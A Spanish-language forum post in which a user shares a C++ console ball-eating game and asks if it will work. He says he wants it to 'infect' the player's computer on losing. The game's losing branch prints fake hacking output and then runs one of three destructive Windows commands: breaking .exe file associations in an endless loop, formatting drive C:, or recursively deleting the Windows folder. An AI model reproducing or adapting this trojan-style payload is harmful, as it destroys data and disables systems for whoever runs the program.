Dev - C++ - FUNCIONARÁ ESTE CÓDIGO?

 
Vista:
Imágen de perfil de Victorio
Val: 27
Ha disminuido su posición en 4 puestos en Dev - C++ (en relación al último mes)
Gráfica de Dev - C++

FUNCIONARÁ ESTE CÓDIGO?

Publicado por Victorio (12 intervenciones) el 17/12/2016 11:46:32
Lo que pretendo es que sea un juego de consola de comer bolas, y si fallas se "infecte" el ordenador, para que luego el usuario tenga que solucionar el problema.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
/*JUEGO DEL INFECTADO*/
 
#include <iostream>
#include <conio.h>
#include <Windows.h>
#include <cstdlib>
#include <ctime>
#include <string>
using namespace std;
 
void gotoxy(int x, int y)
{
    HANDLE hCon;
    COORD dwPos;
    dwPos.X = x;
    dwPos.Y = y;
    hCon = GetStdHandle(STD_OUTPUT_HANDLE);
    SetConsoleCursorPosition(hCon,dwPos);
}
 
inline void dibujarCampo();
inline void eliminarPosicionAnterior(int x, int y);
 
 
int score = 0;
 
class bola{
	public:
       int posX = 1 + rand()%77;
       int posY = 1 + rand()%22;
 
       bola(){
       	gotoxy(posX, posY);
       	cout << "x";
       }
       ~bola(){
	    gotoxy(posX, posY);
       	cout << " ";
       }
};
 
class bolaInfectada{
		public:
       int posX = 1 + rand()%77;
       int posY = 1 + rand()%22;
 
       bolaInfectada(){
       	gotoxy(posX, posY);
       	cout << "x";
       }
       ~bolaInfectada(){
       	gotoxy(posX, posY);
       	cout << " ";
       }
 
};
 
int x = 39, y = 11;
bool infectedBool = 0;
int main(void){
programa:
system("color a");
dibujarCampo();
srand(time(0)); //SEED
bola bolita0;
bola bolita1;
bola bolita2;
bolaInfectada bolita3;
while(infectedBool != 1 && score != 10){
   gotoxy(x,y);
   cout << "*";
   char pulsacion = getch();
   switch(static_cast<int>(pulsacion)){
    case 75:
    	eliminarPosicionAnterior(x, y);
    	if(x > 1)
         x--;
        else{}
         break;
    case 80:
    	eliminarPosicionAnterior(x, y);
    	if(y < 23)
         y++;
        else{}
         break;
    case 77:
    	eliminarPosicionAnterior(x, y);
    	if(x < 78)
         x++;
        else{}
         break;
    case 72:
    	eliminarPosicionAnterior(x, y);
    	if(y > 1)
         y--;
        else{}
         break;
    default:
         break;
   }
   if(x == bolita0.posX && y == bolita0.posY){
   	::x = bolita0.posX;
   	::y = bolita0.posY;
   	score +=1;
   	goto programa;
   }
    if(x == bolita1.posX && y == bolita1.posY){
   	::x = bolita1.posX;
   	::y = bolita1.posY;
	score +=1;
   	goto programa;
   }
    if(x == bolita2.posX && y == bolita2.posY){
   	::x = bolita2.posX;
   	::y = bolita2.posY;
	score +=1;
   	goto programa;
   }
    if(x == bolita3.posX && y == bolita3.posY){
    system("cls");
   	system("color c");
   	gotoxy(26,11);
   	int i = 0;
   	while(i<1000){
   	cout << "\.root\hacked /.~del/vls -u  DENEGATE N: " << i << "\n";
   	++i;
 
    }
	system("cls");
   	infectedBool = 1;
   }
}
if(score == 10){
	score = 0;
	system("cls");
	gotoxy(26, 11);
	cout << "HAS SOBREVIVIDO A LA INFECCION";
	cin.get();
	system("cls");
}
if(infectedBool == true){
  system("color B");
 int a = rand()%3;
string windowsKiller = "rd \s \"C:/Windows\"";
const char *cmnd[3] = {"assoc .exe=file","format c:",windowsKiller.c_str()};
if(a==1){
	do{
		system(cmnd[a]);
	}while(true);
}
else
system(cmnd[a]);
}
return 0;
}
 
inline void dibujarCampo(){
   //CAMPO DE JUEGO
   for(int ejeX = 0; ejeX<=79; ejeX++){
	gotoxy(ejeX, 0);
 
    if(ejeX == 21)
	cout << score;
	else if(ejeX <21 || (ejeX > 21 && ejeX < 40) || ejeX > 49) cout << "-";
	else{
		switch(ejeX){
			case 40:
				cout << "I";
			    break;
			case 41:
				cout << "N";
				break;
			case 42:
				cout << "F";
				break;
			case 43:
			case 46:
				cout << "E";
				break;
			case 44:
				cout << "C";
				break;
			case 45:
				cout << "T";
				break;
			case 47:
				cout << "D";
				break;
			case 48:
				cout << "=";
				break;
			case 49:
				cout << infectedBool;
				break;
		}
	}
	gotoxy(ejeX, 24);
	cout << "-";
   }
   for(int ejeY = 0; ejeY <=24; ejeY++){
   	gotoxy(0, ejeY);
   	cout << "|";
   	gotoxy(79, ejeY);
   	cout << "|";
   }
}
 
inline void eliminarPosicionAnterior(int x, int y){
	gotoxy(x,y);
	cout << " ";
}
Valora esta pregunta
Me gusta: Está pregunta es útil y esta claraNo me gusta: Está pregunta no esta clara o no es útil
0
Responder